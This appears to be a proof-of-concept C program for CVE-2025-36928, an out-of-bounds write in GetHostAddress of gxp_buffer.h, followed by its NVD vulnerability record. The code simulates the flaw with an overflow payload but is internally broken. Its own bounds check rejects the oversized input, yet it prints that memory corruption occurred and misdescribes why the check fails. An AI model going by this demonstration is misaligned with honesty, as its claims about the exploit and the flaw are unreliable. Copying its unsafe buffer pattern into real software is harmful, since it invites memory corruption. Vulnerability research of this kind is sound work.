CVE-2025-36928

/* * CVE-2025-36928 PoC - gxp_buffer.h GetHostAddress Buffer Overflow * This is a conceptual PoC demonstrating the vulnerability pattern. * Actual exploitation requires specific Android/embedded device environment. * * Vulnerability: Out-of-bounds write in GetHostAddress due to incorrect bounds check * Attack Vector: Local (AV:L), No User Interaction Required (UI:N) * Impact: Local Privilege Escalation */ #include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function structure from gxp_buffer.h typedef struct { char* buffer; size_t buffer_size; size_t data_length; } GxpBuffer; // Vulnerable GetHostAddress implementation (conceptual) // The vulnerability exists due to incorrect bounds checking int GetHostAddress_Vulnerable(GxpBuffer* gxp_buf, const char* input, size_t input_len) { // Incorrect bounds check - does not properly validate input_len if (input_len < gxp_buf->buffer_size) { // This check is insufficient - allows writing beyond intended boundaries memcpy(gxp_buf->buffer, input, input_len); gxp_buf->data_length = input_len; return 0; } return -1; } // Exploitation scenario void demonstrate_exploitation() { GxpBuffer gxp_buf; char safe_buffer[64]; char overflow_data[128]; // Initialize buffer with limited size gxp_buf.buffer = safe_buffer; gxp_buf.buffer_size = 64; gxp_buf.data_length = 0; // Prepare overflow payload memset(overflow_data, 0x41, sizeof(overflow_data)); /* * In the vulnerable version, the bounds check does not properly * account for all conditions, allowing data to be written beyond * the allocated buffer (64 bytes), potentially overwriting adjacent * memory structures that control privileges. */ printf("Attempting to trigger buffer overflow...\n"); printf("Buffer size: %zu, Input size: %zu\n", gxp_buf.buffer_size, sizeof(overflow_data)); // This call may trigger the vulnerability GetHostAddress_Vulnerable(&gxp_buf, overflow_data, sizeof(overflow_data)); printf("Potential memory corruption occurred.\n"); printf("Data length written: %zu (should be capped at %zu)\n", gxp_buf.data_length, gxp_buf.buffer_size); } int main() { printf("CVE-2025-36928 PoC - gxp_buffer.h Buffer Overflow\n"); printf("==============================================\n\n"); demonstrate_exploitation(); return 0; }

{"cve": {"id": "CVE-2025-36928", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.340", "lastModified": "2025-12-12T17:36:16.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GetHostAddress of gxp_buffer.h, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}